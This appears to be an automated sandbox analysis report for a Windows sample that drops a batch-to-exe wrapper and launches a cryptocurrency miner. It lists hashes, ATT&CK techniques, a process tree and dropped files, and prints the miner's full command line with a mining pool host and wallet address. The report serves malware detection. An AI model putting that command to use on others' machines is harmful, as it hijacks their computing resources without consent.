73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 18:53

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2140	b2e.exe
216	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
216	cpuminer-sse2.exe
216	cpuminer-sse2.exe
216	cpuminer-sse2.exe
216	cpuminer-sse2.exe
216	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5052-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 2140	5052	batexe.exe	85
PID 5052 wrote to memory of 2140	5052	batexe.exe	85
PID 5052 wrote to memory of 2140	5052	batexe.exe	85
PID 2140 wrote to memory of 3380	2140	b2e.exe	86
PID 2140 wrote to memory of 3380	2140	b2e.exe	86
PID 2140 wrote to memory of 3380	2140	b2e.exe	86
PID 3380 wrote to memory of 216	3380	cmd.exe	89
PID 3380 wrote to memory of 216	3380	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Users\Admin\AppData\Local\Temp\6F15.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6F15.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6F15.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7196.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3380
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6F15.tmp\b2e.exe

Filesize
2.9MB

MD5
9317cafb85becd9011ca213e7be3a2bc

SHA1
1c84c389734da0532809700191b96dc61527e382

SHA256
644eb7fd5f540a11f942d00b2233e715a40b8548294924fc054db1e08b293090

SHA512
65120a9f1410f4b9350788c5898557be3d3b195f03b3425895748764fc052048f38998bb455cef4f25f748c696821a9a4622c8f09f6ae4603dcd6882be451684

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F15.tmp\b2e.exe

Filesize
192KB

MD5
6ac4b534a8945150025756c2f85dd2d4

SHA1
4f8633cd78b9248d5885e75ff1b26ef27a196ad1

SHA256
2e07e008a86c33e31905b1f49b18245261ad08ed3463c6750d63502e1e20e43d

SHA512
303f0cd104441235da58583af1597994df43d0a2d55d6245e89fc7d8f2509915525925277636214722e922f2939c93ba95627d54a18105d6cfa8e606b2f3c172

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F15.tmp\b2e.exe

Filesize
756KB

MD5
8ec43dd0d0ee1dc6b96851a2ea228a95

SHA1
4480ee78a8b5afaf81c15117fe9c5609065a991f

SHA256
b7a5a1aae374fce2a6c9c672683baf275d8d5ff30336cca7cfb012f916d116ae

SHA512
86e737e22ba8501d4ffda9869cc1628cac23b013df0e3294b998ad52d6327dbc12a6a276194a772af767cc3613e14e0def12d378dc0086e4d7ff0c8720105a6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\7196.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
801KB

MD5
ace2c4f42ff7934dc21224835c70611d

SHA1
b8c186de1caa7b14fc0627cea2a646f86d71b3b6

SHA256
bebf6ebee5915091b17364e01742811f204846adfd04390aa4b125f42d71986d

SHA512
00e74c77f0057ed9068115352533d403b9871a0228fc93211ced0fef32ac861f89d88953ac485c95c20e0533462c5a35c9e9c7c9483e9b399c1656e588b28e42

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
527KB

MD5
a8fc63ec298b9cc5a327cec8e65b8b39

SHA1
9aab44e63cf387fcb765e83509cb30377e2c1b57

SHA256
2d2c84d8b6b004bedf4ad53211bccec3ebe5fdb0006882aa53dceba89810cce1

SHA512
6938985615b956b970a2c6f3faa1a35b42bf3b335a4e4ee8722d485f1c95300cb2980489d988115a4ab695fc9477b706bf1d59624a1447696da8c745df88695f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
410KB

MD5
2ce4a41e73af5ee6bdbb88528908506f

SHA1
b1de38824d9a4af23856ac4815e78baa54594d45

SHA256
f4ae166306e007ce61ce0817fd859df5e82f0f2e2fe6d09b90f7f33eae7e6ed5

SHA512
4e88b56a9b3f05e886ba06aeef1d70185d31263c710feea438143a5e27901866c3323c9a4890c68d016d15a4020eaebfbcf1813a526b10fd0222061a9caa1f28

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
586KB

MD5
9acc06276b7146d71e3ba5ccf40758a9

SHA1
219d615f45752ceea3c49d511d10b51711253831

SHA256
6164d4f542270bff67f1e7d44fcda03d4bd7c636115ec45d96d580a4c85c2cdb

SHA512
517645a93fc860e3c5a2ca536ae70b885bddf127cc46e0c2a22ce87c59c7823a5fc0e38e2bed3319fbb7e43cccbfda7e715c3075ab3a700227c780ea1f5c010d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
589KB

MD5
6160608fdd17a96413ae771579679ae1

SHA1
ad1b4ba01b10b0b6874cd02dacd122b775a0d53d

SHA256
f5cb8c12f36685c51f714792b55e02861f588cf28a6456dc810266148e2286b7

SHA512
d3f5da523772ca234ea07374a71e63c57a1f0c87609550d74bd8423c9f264a8f8a202655ae7e2add3639071185b8c9c3e288c3609bc2e931af5226369f28a6a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
424KB

MD5
b685b10fa9ec2a152fc2d7ad47ee149a

SHA1
7a940f80a0eda5080553533df7d4caf97b280c74

SHA256
4b7572114190bb9a0f5f7306a12593681dd10f59e243db0f6282d3ceea5f95f2

SHA512
5c9087e06d2a4550151ab4ae1c44ec3a193260af6690a23ea36608a5270d69292e9c9ca1cb781c5d97a19d8bb87a2a815caafa3048f1da7579165b37f362845f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
856KB

MD5
6b7048d91cef5424867b6acb32b0bf18

SHA1
d0feae965358bb03808943ff328077b1f653a35f

SHA256
80a5b6d270443b1dea7088050dedb6c789e6a03ff754ddbd144ddf3ca83c5020

SHA512
587e5466ba85b9154f7a762400bee864b86c419593fdeecf03b5c234aaa39dca5de6444030473b8281d9f89a2e659438aff2b44e8d880f3f83e16a70e1ccc101

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
544KB

MD5
266815bd7eadb25e526a41074e8c96e9

SHA1
7be48c0e0069429b27dc421a802045de086aaf25

SHA256
ed6c1637fd05fd0dacd6cf9515184ee9e60c29b71692cc1c0e7f1a5aece43692

SHA512
69ce11df3547615b72246e7786ef179d71fb4d6865e9aa5e1b64d606f57381b1316c86beb99c29f4c6b95328a7b464dbc53a3b61a62a9918d8db9eedf0663e69

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
274KB

MD5
9a63366200f93878ef440e5b263d1443

SHA1
5e00d05efebddb77aa64417b3fc455fdfe5205d8

SHA256
655d191667757607a8b92fb859312f6488e4948c76dab6288f2638941ec3c24e

SHA512
f5dcd5ee5f5271a87cca9f7e17a81fae65873fef5f34f430dfce5e100ca1d80f3939379e0d8ea8a31f1fb6876cb5e9c5588969a8ccc9ab3beb8659c4e32aa10f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/216-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-46-0x0000000065110000-0x00000000651A8000-memory.dmp

Filesize
608KB

Download
memory/216-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/216-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/216-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-47-0x0000000001150000-0x0000000002A05000-memory.dmp

Filesize
24.7MB

Download
memory/216-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/216-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2140-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2140-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5052-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download